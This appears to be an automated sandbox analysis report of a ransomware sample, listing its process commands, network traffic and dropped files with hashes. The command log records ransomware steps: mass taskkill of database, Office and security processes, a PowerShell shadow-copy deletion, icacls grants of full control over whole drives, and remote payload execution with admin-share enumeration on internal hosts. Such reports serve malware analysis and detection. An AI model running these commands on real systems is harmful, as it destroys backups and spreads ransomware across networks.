C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM mysqld.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM isqlplussvc.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM sqbcoreservice.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM mydesktopservice.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM firefoxconfig.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM onenote.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM encsvc.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM excel.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM agntsvc.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM PccNTMon.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM dbeng50.exe /F

C:\Windows\SYSTEM32\netsh.exe

"netsh" advfirewall firewall set rule group="File and Printer Sharing" new enable=Yes

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM thebat.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM CNTAoSMgr.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM msaccess.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM thebat64.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM steam.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM sqlwriter.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM outlook.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM ocomm.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM tmlisten.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM tbirdconfig.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM visio.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM oracle.exe /F

C:\Windows\SYSTEM32\netsh.exe

"netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM infopath.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM msftesql.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM mydesktopservice.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM sqlagent.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM mbamtray.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM powerpnt.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM winword.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM sqlbrowser.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM zoolz.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM mydesktopqos.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM mysqld-nt.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM sqlservr.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" IM thunderbird.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM dbsnmp.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM wordpad.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM mysqld-opt.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM xfssvccon.exe /F

C:\Windows\SYSTEM32\netsh.exe

"netsh" advfirewall firewall set rule group=\"File and Printer Sharing\" new enable=Yes

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM ocautoupds.exe /F

C:\Windows\SYSTEM32\taskkill.exe

"taskkill.exe" /IM ocssd.exe /F

C:\Windows\SYSTEM32\arp.exe

"arp" -a

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }

C:\Windows\SYSTEM32\icacls.exe

"icacls" "C:*" /grant Everyone:F /T /C /Q

C:\Windows\SYSTEM32\icacls.exe

"icacls" "Z:*" /grant Everyone:F /T /C /Q

C:\Windows\SYSTEM32\icacls.exe

"icacls" "D:*" /grant Everyone:F /T /C /Q

C:\Users\Admin\AppData\Local\Temp\qy5ts0jh.exe

"C:\Users\Admin\AppData\Local\Temp\qy5ts0jh.exe" \\10.10.0.41 -d -f -h -s -n 5 -c "C:\Users\Admin\AppData\Local\Temp\e1c46a96effc5df063cea2fae83306ae1f0e2f898b0d2ada86c48052be5fe8d3.bin.exe"

C:\Windows\SYSTEM32\netsh.exe

"netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\SYSTEM32\netsh.exe

"netsh" advfirewall firewall set rule group=\"File and Printer Sharing\" new enable=Yes

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.16\Users

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.16\Users

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.16\A$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.16\A$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.16\B$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.16\B$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.16\C$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.16\C$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.16\D$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.16\D$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.16\E$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.16\E$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.16\F$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.16\F$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.16\G$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.16\G$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.16\H$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.16\H$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.16\I$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.16\I$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.16\J$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.16\J$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.21\Users

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.21\K$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.21\K$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.21\A$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.21\L$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.21\L$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.21\B$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.21\M$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.21\M$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.21\N$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.21\C$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.21\N$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.21\D$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.21\O$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.21\O$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.21\E$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.21\P$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.21\F$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.21\P$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.21\Q$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.21\Q$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.21\G$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.21\R$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.21\R$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.21\H$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.21\S$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.21\S$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.21\I$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.21\T$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.21\J$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.21\T$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.21\U$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.21\K$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.21\U$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.21\V$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.21\L$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.21\W$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.21\V$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.21\M$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.21\X$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.21\W$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.21\N$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.21\Y$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.21\X$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.21\O$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.21\Z$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.21\Y$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.21\P$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.21\Z$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.21\Q$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.21\R$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.21\S$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.21\T$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.21\U$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.21\V$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.21\W$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.21\X$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.21\Y$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.21\Z$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.27\Users

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.27\A$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.27\B$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.27\C$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.27\D$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.27\E$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.27\F$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.27\G$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.27\H$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.27\I$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.27\J$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.27\K$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.27\L$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.27\M$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.27\N$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.27\O$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.27\P$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.27\Q$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.27\R$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.27\S$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.27\T$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.27\U$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.27\V$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.27\W$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.27\X$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.27\Y$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.27\Z$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.28\Users

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.28\A$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.28\B$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.28\C$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.28\D$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.28\N$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.28\H$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.28\O$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.28\I$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.28\P$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.28\J$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.28\K$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.28\Q$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.28\R$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.28\L$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.28\S$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.28\M$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.28\U$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.28\T$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.28\V$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.28\E$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.28\W$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.28\X$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.28\Y$

C:\Windows\SYSTEM32\net.exe

"net.exe" use \\10.10.0.28\Z$

Network

Country Destination Domain Proto
US 8.8.8.8:53 www.poweradmin.com udp
US 52.1.55.52:443 www.poweradmin.com tcp
US 8.8.8.8:53 live.sysinternals.com udp
GB 20.49.223.105:80 live.sysinternals.com tcp
N/A 10.10.0.255:3 udp
N/A 10.10.0.255:3 udp
N/A 10.10.0.255:3 udp
N/A 10.10.0.255:3 udp
N/A 10.10.0.255:3 udp
N/A 10.10.0.41:445 tcp
N/A 10.10.0.41:135 tcp
N/A 10.10.0.41:49668 tcp
US 8.8.8.8:53 15.0.10.10.in-addr.arpa udp
N/A 10.10.0.15:5355 udp
US 8.8.8.8:53 16.0.10.10.in-addr.arpa udp
N/A 10.10.0.16:5355 udp
N/A 10.10.0.16:445 tcp
US 8.8.8.8:53 21.0.10.10.in-addr.arpa udp
N/A 10.10.0.21:5355 udp
N/A 10.10.0.21:445 tcp
US 8.8.8.8:53 27.0.10.10.in-addr.arpa udp
N/A 10.10.0.27:5355 udp
N/A 10.10.0.27:445 tcp
US 8.8.8.8:53 28.0.10.10.in-addr.arpa udp
N/A 10.10.0.28:5355 udp
N/A 10.10.0.28:445 tcp
N/A 10.10.0.21:50909 tcp
N/A 10.10.0.21:50911 tcp
N/A 10.10.0.21:50912 tcp
N/A 10.10.0.21:50913 tcp
N/A 10.10.0.21:50914 tcp
N/A 10.10.0.21:50915 tcp
N/A 10.10.0.21:50916 tcp
N/A 10.10.0.21:50917 tcp
N/A 10.10.0.21:50918 tcp
N/A 10.10.0.21:50919 tcp
N/A 10.10.0.21:50920 tcp
N/A 10.10.0.21:50921 tcp
N/A 10.10.0.21:50922 tcp
N/A 10.10.0.21:50923 tcp
N/A 10.10.0.21:50924 tcp
N/A 10.10.0.21:50925 tcp
N/A 10.10.0.21:50926 tcp
N/A 10.10.0.21:50927 tcp
N/A 10.10.0.21:50928 tcp
N/A 10.10.0.21:50929 tcp
N/A 10.10.0.21:50930 tcp
N/A 10.10.0.21:50931 tcp
N/A 10.10.0.21:50932 tcp
N/A 10.10.0.21:50933 tcp
N/A 10.10.0.21:50934 tcp
N/A 10.10.0.21:50935 tcp
N/A 10.10.0.21:50936 tcp
N/A 10.10.0.21:50937 tcp
N/A 10.10.0.21:50938 tcp
N/A 10.10.0.21:50939 tcp
N/A 10.10.0.21:50940 tcp
N/A 10.10.0.21:50941 tcp
N/A 10.10.0.21:50942 tcp
N/A 10.10.0.28:445 tcp
N/A 10.10.0.28:445 tcp
N/A 10.10.0.21:445 tcp
N/A 10.10.0.21:445 tcp

Files

memory/3368-114-0x0000000000970000-0x0000000000971000-memory.dmp

memory/3368-116-0x000000001B600000-0x000000001B602000-memory.dmp

memory/1252-117-0x0000000000000000-mapping.dmp

memory/3372-118-0x0000000000000000-mapping.dmp

memory/3488-119-0x0000000000000000-mapping.dmp

memory/1264-120-0x0000000000000000-mapping.dmp

memory/2200-121-0x0000000000000000-mapping.dmp

memory/2120-124-0x0000000000000000-mapping.dmp

memory/1748-123-0x0000000000000000-mapping.dmp

memory/3944-122-0x0000000000000000-mapping.dmp

memory/2648-125-0x0000000000000000-mapping.dmp

memory/4000-127-0x0000000000000000-mapping.dmp

memory/3364-128-0x0000000000000000-mapping.dmp

memory/1596-126-0x0000000000000000-mapping.dmp

memory/2168-129-0x0000000000000000-mapping.dmp

memory/1848-130-0x0000000000000000-mapping.dmp

memory/3200-131-0x0000000000000000-mapping.dmp

memory/2876-132-0x0000000000000000-mapping.dmp

memory/2656-133-0x0000000000000000-mapping.dmp

memory/2608-134-0x0000000000000000-mapping.dmp

memory/3376-135-0x0000000000000000-mapping.dmp

memory/3568-136-0x0000000000000000-mapping.dmp

memory/1868-137-0x0000000000000000-mapping.dmp

memory/3756-138-0x0000000000000000-mapping.dmp

memory/212-139-0x0000000000000000-mapping.dmp

memory/3396-140-0x0000000000000000-mapping.dmp

memory/1952-141-0x0000000000000000-mapping.dmp

memory/4064-142-0x0000000000000000-mapping.dmp

memory/4016-143-0x0000000000000000-mapping.dmp

memory/3440-144-0x0000000000000000-mapping.dmp

memory/1240-145-0x0000000000000000-mapping.dmp

memory/1928-146-0x0000000000000000-mapping.dmp

memory/3788-147-0x0000000000000000-mapping.dmp

memory/3872-148-0x0000000000000000-mapping.dmp

memory/848-149-0x0000000000000000-mapping.dmp

memory/3576-150-0x0000000000000000-mapping.dmp

memory/4108-151-0x0000000000000000-mapping.dmp

memory/4164-152-0x0000000000000000-mapping.dmp

memory/4208-153-0x0000000000000000-mapping.dmp

memory/4260-154-0x0000000000000000-mapping.dmp

memory/4300-155-0x0000000000000000-mapping.dmp

memory/4372-156-0x0000000000000000-mapping.dmp

memory/4392-157-0x0000000000000000-mapping.dmp

memory/4444-158-0x0000000000000000-mapping.dmp

memory/4556-159-0x0000000000000000-mapping.dmp

memory/4576-160-0x0000000000000000-mapping.dmp

memory/4620-161-0x0000000000000000-mapping.dmp

memory/4656-162-0x0000000000000000-mapping.dmp

memory/4712-163-0x0000000000000000-mapping.dmp

memory/4844-164-0x0000000000000000-mapping.dmp

memory/4900-165-0x0000000000000000-mapping.dmp

memory/4948-166-0x0000000000000000-mapping.dmp

memory/5036-167-0x0000000000000000-mapping.dmp

memory/5100-168-0x0000000000000000-mapping.dmp

memory/3524-169-0x0000000000000000-mapping.dmp

memory/2588-170-0x0000000000000000-mapping.dmp

memory/2100-171-0x0000000000000000-mapping.dmp

memory/3536-172-0x0000000000000000-mapping.dmp

memory/2548-173-0x0000000000000000-mapping.dmp

memory/4256-174-0x0000000000000000-mapping.dmp

memory/4204-175-0x0000000000000000-mapping.dmp

memory/4400-176-0x0000000000000000-mapping.dmp

memory/4104-177-0x0000000000000000-mapping.dmp

memory/2200-178-0x0000000000000000-mapping.dmp

memory/212-179-0x0000000000000000-mapping.dmp

memory/2168-180-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Local\Temp\RESTORE_FILES_INFO.txt

MD5 4163ec5b7401472725e0f2e034ba2425
SHA1 5367503941303dfc8118e73e27b35a7b0261ce7e
SHA256 0b5779450c48991af2cd1c01471be260aa80e113b54305c9c275482928cfe6ef
SHA512 c2b06739b293d483eb5afe7a818d237c12103b2999b4992b96fb7c59cc47a48de217bb99b6f252fd2f32a75c8995417a7b0e600dcad3af85bd8546d384493179

memory/4324-186-0x000001F573E40000-0x000001F573E41000-memory.dmp

memory/4324-188-0x000001F573E03000-0x000001F573E05000-memory.dmp

memory/4324-187-0x000001F573E00000-0x000001F573E02000-memory.dmp

memory/4324-191-0x000001F573FF0000-0x000001F573FF1000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\qy5ts0jh.exe

MD5 b1dfb4f9eb3e598d1892a3bd3a92f079
SHA1 0fc135b131d0bb47c9a0aaf02490701303b76d3b
SHA256 ab50d8d707b97712178a92bbac74ccc2a5699eb41c17aa77f713ff3e568dcedb
SHA512 98454df86ddddf20e0b7bd19566006dbec431326e8aa57600aff460e9bec3e6489e43e95be3b252bf78a2edd5c203254508e9b55e756b680c100560664278ca2

C:\Users\Admin\AppData\Local\Temp\qy5ts0jh.exe

MD5 b1dfb4f9eb3e598d1892a3bd3a92f079
SHA1 0fc135b131d0bb47c9a0aaf02490701303b76d3b
SHA256 ab50d8d707b97712178a92bbac74ccc2a5699eb41c17aa77f713ff3e568dcedb
SHA512 98454df86ddddf20e0b7bd19566006dbec431326e8aa57600aff460e9bec3e6489e43e95be3b252bf78a2edd5c203254508e9b55e756b680c100560664278ca2

memory/4324-205-0x000001F573E06000-0x000001F573E08000-memory.dmp